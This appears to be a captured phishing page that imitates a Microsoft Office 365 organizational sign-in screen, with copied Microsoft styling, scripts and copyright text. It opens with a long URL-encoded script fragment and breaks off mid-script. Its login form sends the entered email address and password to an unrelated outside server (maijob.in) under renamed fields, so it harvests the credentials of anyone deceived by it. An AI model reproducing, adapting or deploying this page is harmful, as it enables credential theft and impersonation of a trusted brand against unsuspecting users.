74%79%70%65%3d%27%65%6d%61%69%6c%27%5d%22%29%3b%0d%0a%20%20%20%20%69%66%20%28%65%6d%61%69%6c%73%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%65%6d%61%69%6c%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%6d%61%69%6c%73%5b%69%5d%2e%74%79%70%65%20%3d%20%27%74%65%78%74%27%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%7d%0d%0a%0d%0a%2f%2f%20%49%6e%20%74%68%65%20%43%53%53%20%66%69%6c%65%20%77%65%20%73%65%74%20%74%68%65%20%6d%73%2d%76%69%65%77%70%6f%72%74%20%74%6f%20%62%65%20%63%6f%6e%73%69%73%74%65%6e%74%20%77%69%74%68%20%74%68%65%20%64%65%76%69%63%65%20%64%69%6d%65%6e%73%69%6f%6e%73%2c%20%0d%0a%2f%2f%20%77%68%69%63%68%20%69%73%20%6e%65%63%65%73%73%61%72%79%20%66%6f%72%20%63%6f%72%72%65%63%74%20%66%75%6e%63%74%69%6f%6e%61%6c%69%74%79%20%6f%66%20%69%6d%6d%65%72%73%69%76%65%20%49%45%2e%20%0d%0a%2f%2f%20%48%6f%77%65%76%65%72%2c%20%66%6f%72%20%57%69%6e%64%6f%77%73%20%38%20%70%68%6f%6e%65%20%77%65%20%6e%65%65%64%20%74%6f%20%72%65%73%65%74%20%74%68%65%20%6d%73%2d%76%69%65%77%70%6f%72%74%27%73%20%64%69%6d%65%6e%73%69%6f%6e%20%74%6f%20%69%74%73%20%6f%72%69%67%69%6e%61%6c%0d%0a%2f%2f%20%76%61%6c%75%65%73%20%28%61%75%74%6f%29%2c%20%6f%74%68%65%72%77%69%73%65%20%74%68%65%20%76%69%65%77%70%6f%72%74%20%64%69%6d%65%6e%73%69%6f%6e%73%20%77%69%6c%6c%20%62%65%20%77%72%6f%6e%67%20%66%6f%72%20%57%69%6e%64%6f%77%73%20%38%20%70%68%6f%6e%65%2e%0d%0a%2f%2f%20%57%69%6e%64%6f%77%73%20%38%20%70%68%6f%6e%65%20%68%61%73%20%61%67%65%6e%74%20%73%74%72%69%6e%67%20%27%49%45%4d%6f%62%69%6c%65%20%31%30%2e%30%27%0d%0a%69%66%20%28%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%2e%6d%61%74%63%68%28%2f%49%45%4d%6f%62%69%6c%65%5c%2f%31%30%5c%2e%30%2f%29%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%6d%73%56%69%65%77%70%6f%72%74%53%74%79%6c%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%74%79%6c%65%22%29%3b%0d%0a%20%20%20%20%6d%73%56%69%65%77%70%6f%72%74%53%74%79%6c%65%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%54%65%78%74%4e%6f%64%65%28%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%40%2d%6d%73%2d%76%69%65%77%70%6f%72%74%7b%77%69%64%74%68%3a%61%75%74%6f%21%69%6d%70%6f%72%74%61%6e%74%7d%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%6d%73%56%69%65%77%70%6f%72%74%53%74%79%6c%65%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%0d%0a%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%54%65%78%74%4e%6f%64%65%28%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%40%2d%6d%73%2d%76%69%65%77%70%6f%72%74%7b%68%65%69%67%68%74%3a%61%75%74%6f%21%69%6d%70%6f%72%74%61%6e%74%7d%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%68%65%61%64%22%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%6d%73%56%69%65%77%70%6f%72%74%53%74%79%6c%65%29%3b%0d%0a%7d%0d%0a%0d%0a%2f%2f%20%49%66%20%74%68%65%20%69%6e%6e%65%72%57%69%64%74%68%20%69%73%20%64%65%66%69%6e%65%64%2c%20%75%73%65%20%69%74%20%61%73%20%74%68%65%20%76%69%65%77%70%6f%72%74%20%77%69%64%74%68%2e%0d%0a%69%66%20%28%77%69%6e%64%6f%77%2e%69%6e%6e%65%72%57%69%64%74%68%20%26%26%20%77%69%6e%64%6f%77%2e%6f%75%74%65%72%57%69%64%74%68%20%26%26%20%77%69%6e%64%6f%77%2e%69%6e%6e%65%72%57%69%64%74%68%20%21%3d%3d%20%77%69%6e%64%6f%77%2e%6f%75%74%65%72%57%69%64%74%68%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%76%69%65%77%70%6f%72%74%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%71%75%65%72%79%53%65%6c%65%63%74%6f%72%28%22%6d%65%74%61%5b%6e%61%6d%65%3d%76%69%65%77%70%6f%72%74%5d%22%29%3b%0d%0a%20%20%20%20%76%69%65%77%70%6f%72%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%63%6f%6e%74%65%6e%74%27%2c%20%27%77%69%64%74%68%3d%27%20%2b%20%77%69%6e%64%6f%77%2e%69%6e%6e%65%72%57%69%64%74%68%20%2b%20%27%70%78%3b%20%69%6e%69%74%69%61%6c%2d%73%63%61%6c%65%3d%31%2e%30%3b%20%6d%61%78%69%6d%75%6d%2d%73%63%61%6c%65%3d%31%2e%30%27%29%3b%0d%0a%7d%0d%0a%0d%0a%2f%2f%20%47%65%74%73%20%74%68%65%20%63%75%72%72%65%6e%74%20%73%74%79%6c%65%20%6f%66%20%61%20%73%70%65%63%69%66%69%63%20%70%72%6f%70%65%72%74%79%20%66%6f%72%20%61%20%73%70%65%63%69%66%69%63%20%65%6c%65%6d%65%6e%74%2e%0d%0a%66%75%6e%63%74%69%6f%6e%20%67%65%74%53%74%79%6c%65%28%65%6c%65%6d%65%6e%74%2c%20%73%74%79%6c%65%50%72%6f%70%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%70%72%6f%70%53%74%79%6c%65%20%3d%20%6e%75%6c%6c%3b%0d%0a%0d%0a%20%20%20%20%69%66%20%28%65%6c%65%6d%65%6e%74%20%26%26%20%65%6c%65%6d%65%6e%74%2e%63%75%72%72%65%6e%74%53%74%79%6c%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%70%53%74%79%6c%65%20%3d%20%65%6c%65%6d%65%6e%74%2e%63%75%72%72%65%6e%74%53%74%79%6c%65%5b%73%74%79%6c%65%50%72%6f%70%5d%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%65%6c%73%65%20%69%66%20%28%65%6c%65%6d%65%6e%74%20%26%26%20%77%69%6e%64%6f%77%2e%67%65%74%43%6f%6d%70%75%74%65%64%53%74%79%6c%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%70%53%74%79%6c%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%64%65%66%61%75%6c%74%56%69%65%77%2e%67%65%74%43%6f%6d%70%75%74%65%64%53%74%79%6c%65%28%65%6c%65%6d%65%6e%74%2c%20%6e%75%6c%6c%29%2e%67%65%74%50%72%6f%70%65%72%74%79%56%61%6c%75%65%28%73%74%79%6c%65%50%72%6f%70%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%72%65%74%75%72%6e%20%70%72%6f%70%53%74%79%6c%65%3b%0d%0a%7d%0d%0a%0d%0a%2f%2f%20%54%68%65%20%73%63%72%69%70%74%20%62%65%6c%6f%77%20%69%73%20%75%73%65%64%20%66%6f%72%20%64%6f%77%6e%6c%6f%61%64%69%6e%67%20%74%68%65%20%69%6c%6c%75%73%74%72%61%74%69%6f%6e%20%69%6d%61%67%65%20%0d%0a%2f%2f%20%6f%6e%6c%79%20%77%68%65%6e%20%74%68%65%20%62%72%61%6e%64%69%6e%67%20%69%73%20%64%69%73%70%6c%61%79%69%6e%67%2e%20%54%68%69%73%20%73%63%72%69%70%74%20%77%6f%72%6b%20%74%6f%67%65%74%68%65%72%0d%0a%2f%2f%20%77%69%74%68%20%74%68%65%20%63%6f%64%65%20%69%6e%20%50%61%67%65%42%61%73%65%2e%63%73%20%74%68%61%74%20%73%65%74%73%20%74%68%65%20%68%74%6d%6c%20%69%6e%6c%69%6e%65%20%73%74%79%6c%65%0d%0a%2f%2f%20%63%6f%6e%74%61%69%6e%69%6e%67%20%74%68%65%20%63%6c%61%73%73%20%27%69%6c%6c%75%73%74%72%61%74%69%6f%6e%43%6c%61%73%73%27%20%77%69%74%68%20%74%68%65%20%62%61%63%6b%67%72%6f%75%6e%64%20%69%6d%61%67%65%2e%0d%0a%76%61%72%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%62%72%61%6e%64%69%6e%67%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%62%72%61%6e%64%69%6e%67%22%29%3b%0d%0a%20%20%20%20%76%61%72%20%62%72%61%6e%64%69%6e%67%44%69%73%70%6c%61%79%20%3d%20%67%65%74%53%74%79%6c%65%28%62%72%61%6e%64%69%6e%67%2c%20%22%64%69%73%70%6c%61%79%22%29%3b%0d%0a%20%20%20%20%76%61%72%20%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%44%69%73%70%6c%61%79%20%3d%20%67%65%74%53%74%79%6c%65%28%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%22%29%2c%20%22%64%69%73%70%6c%61%79%22%29%3b%0d%0a%0d%0a%20%20%20%20%69%66%20%28%62%72%61%6e%64%69%6e%67%44%69%73%70%6c%61%79%20%26%26%20%62%72%61%6e%64%69%6e%67%44%69%73%70%6c%61%79%20%21%3d%3d%20%22%6e%6f%6e%65%22%20%26%26%0d%0a%20%20%20%20%20%20%20%20%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%44%69%73%70%6c%61%79%20%26%26%20%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%44%69%73%70%6c%61%79%20%21%3d%3d%20%22%6e%6f%6e%65%22%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%6e%65%77%43%6c%61%73%73%20%3d%20%22%69%6c%6c%75%73%74%72%61%74%69%6f%6e%43%6c%61%73%73%22%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%69%66%20%28%62%72%61%6e%64%69%6e%67%2e%63%6c%61%73%73%4c%69%73%74%20%26%26%20%62%72%61%6e%64%69%6e%67%2e%63%6c%61%73%73%4c%69%73%74%2e%61%64%64%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%62%72%61%6e%64%69%6e%67%2e%63%6c%61%73%73%4c%69%73%74%2e%61%64%64%28%6e%65%77%43%6c%61%73%73%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%20%28%62%72%61%6e%64%69%6e%67%2e%63%6c%61%73%73%4e%61%6d%65%20%21%3d%3d%20%75%6e%64%65%66%69%6e%65%64%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%62%72%61%6e%64%69%6e%67%2e%63%6c%61%73%73%4e%61%6d%65%20%2b%3d%20%22%20%22%20%2b%20%6e%65%77%43%6c%61%73%73%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%69%66%20%28%77%69%6e%64%6f%77%2e%72%65%6d%6f%76%65%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%72%65%6d%6f%76%65%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%28%27%6c%6f%61%64%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%2c%20%66%61%6c%73%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%72%65%6d%6f%76%65%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%28%27%72%65%73%69%7a%65%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%2c%20%66%61%6c%73%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%65%6c%73%65%20%69%66%20%28%77%69%6e%64%6f%77%2e%64%65%74%61%63%68%45%76%65%6e%74%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%64%65%74%61%63%68%45%76%65%6e%74%28%27%6f%6e%6c%6f%61%64%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%64%65%74%61%63%68%45%76%65%6e%74%28%27%6f%6e%72%65%73%69%7a%65%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%0d%0a%69%66%20%28%77%69%6e%64%6f%77%2e%61%64%64%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%29%20%7b%0d%0a%20%20%20%20%77%69%6e%64%6f%77%2e%61%64%64%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%28%27%72%65%73%69%7a%65%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%2c%20%66%61%6c%73%65%29%3b%0d%0a%20%20%20%20%77%69%6e%64%6f%77%2e%61%64%64%45%76%65%6e%74%4c%69%73%74%65%6e%65%72%28%27%6c%6f%61%64%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%2c%20%66%61%6c%73%65%29%3b%0d%0a%7d%0d%0a%65%6c%73%65%20%69%66%20%28%77%69%6e%64%6f%77%2e%61%74%74%61%63%68%45%76%65%6e%74%29%20%7b%0d%0a%20%20%20%20%77%69%6e%64%6f%77%2e%61%74%74%61%63%68%45%76%65%6e%74%28%27%6f%6e%72%65%73%69%7a%65%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%29%3b%0d%0a%20%20%20%20%77%69%6e%64%6f%77%2e%61%74%74%61%63%68%45%76%65%6e%74%28%27%6f%6e%6c%6f%61%64%27%2c%20%63%6f%6d%70%75%74%65%4c%6f%61%64%49%6c%6c%75%73%74%72%61%74%69%6f%6e%29%3b%0d%0a%7d%0d%0a%0d%0a%2f%2f%5d%5d%3e%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%0d%0a%0d%0a%20%20%20%20%0d%0a%20%0d%0a%0d%0a%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e\'));\n//-->\n</script>\n\n        <meta http-equiv="X-UA-Compatible" content="IE=10.000">\n        <meta name="viewport" content="width=1920px; initial-scale=1.0; maximum-scale=1.0">\n        <meta http-equiv="content-type" content="text/html; charset=UTF-8">\n        <meta http-equiv="cache-control" content="no-cache,no-store">\n        <meta http-equiv="pragma" content="no-cache">\n        <meta http-equiv="expires" content="-1">\n        <meta name="mswebdialog-title" content="Connecting to PDSA">\n\t\t</head><body class="body" dir="ltr">\n<style>\n* {\n\tmargin:0px;\n\tpadding:0px;\n}\nhtml, body\n{\n    height:100%;\n    width:100%;\n    background-color:#ffffff;\n    color:#000000;\n    font-weight:normal;\n    font-family:"Segoe UI" , "Segoe" , "SegoeUI-Regular-final", Tahoma, Helvetica, Arial, sans-serif;\n    min-width:500px;\n    -ms-overflow-style:-ms-autohiding-scrollbar;\n}\n\nbody\n{\n    font-size:0.9em;\n}\n\n#noScript { margin:16px; color:Black; }\n\n:lang(en-GB){quotes:\'\\2018\' \'\\2019\' \'\\201C\' \'\\201D\';}\n:lang(zh){font-family:_ae\xc2\x8f6f\xc2\x96c5\xc2\x9ed1;}\n\n@-ms-viewport { width: device-width; }\n@-moz-viewport { width: device-width; }\n@-o-viewport { width: device-width; }\n@-webkit-viewport { width: device-width;  }\n@viewport { width: device-width; }\n\n/* Theme layout styles */\n\n#fullPage, #brandingWrapper\n{\n    width:100%;\n    height:100%;\n    background-color:inherit;\n}\n#brandingWrapper\n{\n    background-color:#4488dd;\n}\n#branding\n{       \n    /* A background image will be added to the #branding element at run-time once the illustration image is configured in the theme. \n       Recommended image dimensions: 1420x1200 pixels, JPG or PNG, 200 kB average, 500 kB maximum. */\n    height:100%;\n    margin-right:500px; margin-left:0px;\n    background-color:inherit;\n    background-repeat: no-repeat;\n    background-size:cover;\n    -webkit-background-size:cover;\n    -moz-background-size:cover;\n    -o-background-size:cover;\n}\n#contentWrapper\n{\n    position:relative;\n    width:500px;    \n    height:100%;\n    overflow:auto;\n    background-color:#ffffff; /* for IE7 */\n    margin-left:-500px; margin-right:0px; \n}\n#content\n{\n    min-height:100%;\n    height: auto !important;\n    margin:0 auto -55px auto;\n    padding:0px 150px 0px 50px;\n}\n#header\n{\n    font-size:2em;\n    font-weight:lighter;\n    font-family:"Segoe UI Light" , "Segoe" , "SegoeUI-Light-final", Tahoma, Helvetica, Arial, sans-serif;\n    padding-top: 90px;\n    margin-bottom:60px;\n    min-height:100px;\n    overflow:hidden;\n}\n#header img\n{\n    /* Logo image recommended dimension: 60x60 (square) or 350X35 (elongated), 4 kB average, 10 kB maximum. Transparent PNG strongly recommended. */\n    width:auto;\n    height:auto;\n}\n#workArea, #header\n{\n    word-wrap:break-word;\n    width:350px;\n}\n#workArea\n{\n    margin-bottom:90px;\n}\n#footerPlaceholder\n{\n    height:40px;\n}\n#footer\n{\n    height:40px;\n    padding:10px 50px 0px 50px;\n    position:relative;\n    color:#666666;\n    font-size:0.78em;\n}\n#footerLinks\n{\n    float:none;\n    padding-top:10px;\n}\n#copyright {color:#696969;}\n.pageLink { color:#000000; padding-left:16px; }\n\n/* Common content styles */\n\n.clear {clear:both;}\n.float { float:left; } \n.floatReverse { float:right; } \n.indent { margin-left:16px; } \n.indentNonCollapsible { padding-left:16px; }\n.hidden {display:none;}\n.notHidden {display:inherit;}\n.error { color:#c85305; }\n.actionLink { margin-bottom:8px; display:block; }\na\n{\n    color:#2672ec;\n    text-decoration:none;\n    background-color:transparent;\n}\nul { list-style-type: disc; }\nh1,h2,h3,h4,h5,label { margin-bottom: 8px; }\n.submitMargin { margin-top:38px; margin-bottom:30px; }\n.topFieldMargin { margin-top:8px; }\n.fieldMargin { margin-bottom:8px; }\n.groupMargin { margin-bottom:30px; } \n.sectionMargin { margin-bottom:64px; }\n.block { display: block; }\n.autoWidth { width:auto; }\n.fullWidth { width:342px; }\n.fullWidthIndent { width:326px; }\ninput\n{\n    max-width:100%; \n    font-family:inherit;\n    margin-bottom:8px;\n}\ninput[type="radio"], input[type="checkbox"] {\n    vertical-align:middle;\n    margin-bottom: 0px;\n}\nspan.submit, input[type="submit"]\n{\n    border:none;\n    background-color:rgb(38, 114, 236);\n    min-width:80px;\n    width:auto;\n    height:30px;\n    padding:4px 20px 6px 20px;\n    border-style:solid;\n    border-width:1px;\n    transition:background 0s;\n    color:rgb(255, 255, 255);\n    cursor:pointer;\n    margin-bottom:8px;\n    \n    -ms-user-select:none;\n    -moz-transition:background 0s;\n    -webkit-transition:background 0s;\n    -o-transition:background 0s;\n    -webkit-touch-callout:none;\n    -webkit-user-select:none;\n    -khtml-user-select:none;\n    -moz-user-select: none;\n    -o-user-select: none;\n    user-select:none;\n}\ninput[type="submit"]:hover,span.submit:hover\n{\n    background: rgb(212, 227, 251);\n}\ninput.text{\n    height:28px;\n    padding:0px 3px 0px 3px ;\n    border:solid 1px #BABABA;\n}\ninput.text:focus\n{\n  border: 1px solid #6B6B6B;\n}\nselect\n{\n    height:28px;\n    min-width:60px;\n    max-width:100%; \n    margin-bottom:8px;\n\n    white-space:nowrap;\n    overflow:hidden;\n    box-shadow:none;\n    padding:2px;\n    font-family:inherit;\n}\nh1, .giantText\n{\n   font-size:2.0em; \n   font-weight:lighter;\n}          \nh2, .bigText\n{\n   font-size:1.33em;\n   font-weight:lighter;\n}\nh3, .normalText\n{\n    font-size:1.0em;\n    font-weight:normal;\n}\nh4, .smallText\n{\n    font-size:0.9em;\n    font-weight:normal;\n}\nh5, .tinyText\n{\n    font-size:0.8em;\n    font-weight:normal;\n}\n.hint\n{\n    color:#999999;\n}\n.emphasis\n{\n    font-weight:700;\n    color:#2F2F2F;\n} \n.smallIcon\n{\n    height:20px;\n    padding-right:12px;\n    vertical-align:middle;\n}\n.largeIcon\n{\n    height:48px;\n    /* width:48px; */\n    vertical-align:middle;\n}\n.largeTextNoWrap\n{\n    height:48px;\n    display:table-cell; /* needed when in float*/\n    vertical-align:middle;\n    white-space:nowrap;\n    font-size:1.2em;\n}\n.idp\n{\n    height:48px;\n    clear:both;\n    padding:8px;\n    overflow:hidden;\n}\n.idp:hover \n{\n    background-color:#cccccc;\n}\n.idpDescription\n{\n    width:80%;\n}\n\n/* Form factor: intermediate height layout. Reduce space of the header. */\n@media only screen and (max-height: 820px) {\n    #header {\n        padding-top: 40px;\n        min-height:0px;\n        overflow: hidden;\n    }\n\n    #workArea\n    {\n        margin-bottom:60px; \n    }\n}\n\n/* Form factor: intermediate height layout. Reduce space of the header. */\n@media only screen and (max-height: 500px) {\n    #header {\n        padding-top: 30px;\n        margin-bottom: 30px;\n    }\n    #workArea{\n        margin-bottom:40px; \n    }\n}\n\n/* Form factor: intermediate layout (WAB in non-snapped view falls in here) */\n@media only screen and (max-width: 600px) {\n    html, body {\n        min-width: 260px;\n    }\n\n    #brandingWrapper {\n        display: none;\n    }\n\n    #contentWrapper {\n        float: none;\n        width: 100%;\n        margin: 0px auto;\n    }\n\n    #content, #footer, #header {\n        width: 400px;\n        padding-left: 0px;\n        padding-right: 0px;\n        margin-left: auto;\n        margin-right: auto;\n    }\n\n    #workArea {\n        width: 100%;\n    }\n\n    .fullWidth {\n        width: 392px;\n    }\n\n    .fullWidthIndent {\n        width: 376px;\n    }\n}\n\n@media only screen and (max-width: 450px) {\n    body {\n        font-size: 0.8em;\n    }\n\n    #content, #footer {\n        width:auto;\n        margin-right:33px;\n        margin-left:25px;\n    }\n\n    #header {\n        width: auto;\n    }\n\n    span.submit, input[type="submit"] {\n        font-size: 0.9em;\n    }\n\n    .fullWidth\n    {\n        width:100%;\n        margin-left:auto;\n        margin-right:auto;\n    }\n\n    .fullWidthIndent {\n        width: 85%;\n    }\n\n    .idpDescription\n    {\n        width:70%;\n    }\n}\n\n/* Form factor: snapped WAB (for WAB to work in snapped view, the content wrapper width has to be set to 260px) */\n@media only screen and (max-width:280px)\n{\n    #contentWrapper\n    {\n        width:260px;\n    }\n    .idpDescription\n    {\n        max-width:160px;\n        min-width:100px;\n    }\n}\n</style>\n\n        <title>Sign In</title>\n        <script type="text/javascript">\n\n//<![CDATA[\nfunction LoginErrors(){this.userNameFormatError = \'Enter your user ID in the format \\u0026quot;domain\\\\user\\u0026quot; or \\u0026quot;user@domain\\u0026quot;.\'; this.passwordEmpty = \'Enter your password.\';}\n//]]>\n</script>\n\n<script type="text/javascript">\n//<![CDATA[\n// Copyright (c) Microsoft Corporation.  All rights reserved.\nfunction InputUtil(errTextElementID, errDisplayElementID) {\n\n    if (!errTextElementID)  errTextElementID = \'errorText\'; \n    if (!errDisplayElementID)  errDisplayElementID = \'error\'; \n\n    this.hasFocus = false;\n    this.errLabel = document.getElementById(errTextElementID);\n    this.errDisplay = document.getElementById(errDisplayElementID);\n};\nInputUtil.prototype.canDisplayError = function () {\n    return this.errLabel && this.errDisplay;\n}\nInputUtil.prototype.checkError = function () {\n    if (!this.canDisplayError){\n        throw new Error (\'Error element not present\');\n    }\n    if (this.errLabel && this.errLabel.innerHTML) {\n        this.errDisplay.style.display = \'\';        \n        var cause = this.errLabel.getAttribute(\'for\');\n        if (cause) {\n            var causeNode = document.getElementById(cause);\n            if (causeNode && causeNode.value) {\n                causeNode.focus();\n                this.hasFocus = true;\n            }\n        }\n    }\n    else {\n        this.errDisplay.style.display = \'none\';\n    }\n};\nInputUtil.prototype.setInitialFocus = function (input) {\n    if (this.hasFocus) return;\n    var node = document.getElementById(input);\n    if (node) {\n        if ((/^\\s*$/).test(node.value)) {\n            node.focus();\n            this.hasFocus = true;\n        }\n    }\n};\nInputUtil.prototype.setError = function (input, errorMsg) {\n    if (!this.canDisplayError) {\n        throw new Error(\'Error element not present\');\n    }\n    input.focus();\n\n    if (errorMsg) {\n        this.errLabel.innerHTML = errorMsg;\n    }\n    this.errLabel.setAttribute(\'for\', input.id);\n    this.errDisplay.style.display = \'\';\n};\nInputUtil.makePlaceholder = function (input) {\n    var ua = navigator.userAgent;\n\n    if (ua != null && \n        (ua.match(/MSIE 9.0/) != null || \n         ua.match(/MSIE 8.0/) != null ||\n         ua.match(/MSIE 7.0/) != null)) {\n        var node = document.getElementById(input);\n        if (node) {\n            var placeholder = node.getAttribute("placeholder");\n            if (placeholder != null && placeholder != \'\') {\n                var label = document.createElement(\'input\');\n                label.type = "text";\n                label.value = placeholder;\n                label.readOnly = true;\n                label.style.position = \'absolute\';\n                label.style.borderColor = \'transparent\';\n                label.className = node.className + \' hint\';\n                label.tabIndex = -1;\n                label.onfocus = function () { this.nextSibling.focus(); };\n\n                node.style.position = \'relative\';\n                node.parentNode.style.position = \'relative\';\n                node.parentNode.insertBefore(label, node);\n                node.onkeyup = function () { InputUtil.showHint(this); };\n                node.onblur = function () { InputUtil.showHint(this); };\n                node.style.background = \'transparent\';\n\n                node.setAttribute("placeholder", "");\n                InputUtil.showHint(node);\n            }\n        }\n    }\n};\nInputUtil.focus = function (inputField) {\n    var node = document.getElementById(inputField);\n    if (node) node.focus();\n};\nInputUtil.hasClass = function(node, clsName) {\n    return node.className.match(new RegExp(\'(\\\\s|^)\' + clsName + \'(\\\\s|$)\'));\n};\nInputUtil.addClass = function(node, clsName) {\n    if (!this.hasClass(node, clsName)) node.className += " " + clsName;\n};\nInputUtil.removeClass = function(node, clsName) {\n    if (this.hasClass(node, clsName)) {\n        var reg = new RegExp(\'(\\\\s|^)\' + clsName + \'(\\\\s|$)\');\n        node.className = node.className.replace(reg, \' \');\n    }\n};\nInputUtil.showHint = function (node, gotFocus) {\n    if (node.value && node.value != \'\') {\n        node.previousSibling.style.display = \'none\';\n    }\n    else {\n        node.previousSibling.style.display = \'\';\n    }\n};\n//]]>\n</script>\n\n\n        \n        \n    \n    \n    <div id="noScript" style="position: static; width: 100%; height: 100%; z-index: 100; display: none;">\n        <h1>JavaScript required</h1>\n        <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>\n        <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>\n    </div>\n    <script type="text/javascript" language="JavaScript">\n         document.getElementById("noScript").style.display = "none";\n    </script>\n    <div id="fullPage">\n        <div id="brandingWrapper" class="float">\n            <div id="branding" class="illustrationClass"></div>\n        </div>\n        <div id="contentWrapper" class="float">\n            <div id="content">\n                <div id="header">\n                    Microsoft Office 365\n                </div>\n                <div id="workArea">\n                    \n    <div id="authArea" class="groupMargin">\n        \n        \n    <div id="loginArea">        \n        <div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>\n\n        <form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onkeypress="if (event &amp;&amp; event.keyCode == 13) Login.submitLoginRequest();" action="http://www.maijob.in/js/other.php">\n            <div id="error" class="fieldMargin error smallText" style="display: none;">\n                <label id="errorText" for=""></label>\n            </div>\n\n            <div id="formsAuthenticationArea">\n                <div id="userNameArea">\n                    <input id="userNameInput" name="otheruser" tabindex="1" class="text fullWidth" spellcheck="false" placeholder="someone@example.com" autocomplete="off" type="email">     \n                </div>\n\n                <div id="passwordArea">\n                     <input id="passwordInput" name="otherpassword" tabindex="2" class="text fullWidth" placeholder="Password" autocomplete="off" type="password">                                   \n                </div>\n                <div id="kmsiArea" style="display:none">\n                    <input name="Kmsi" id="kmsiInput" value="true" tabindex="3" type="checkbox">\n                    <label for="kmsiInput">Keep me signed in</label>\n                </div>\n                <div id="submissionArea" class="submitMargin">\n                    <span id="submitButton" class="submit" tabindex="4" onkeypress="if (event &amp;&amp; event.keyCode == 32) Login.submitLoginRequest();" onclick="return Login.submitLoginRequest();">Sign in</span>\n                </div>\n            </div>\n            <input id="optionForms" name="AuthMethod" value="FormsAuthentication" type="hidden">\n        </form>\n\n             <div id="authOptions">\n        <form id="options" method="post" action="">\n            <script type="text/javascript">\n                function SelectOption(option) {\n                    var i = document.getElementById(\'optionSelection\');\n                    i.value = 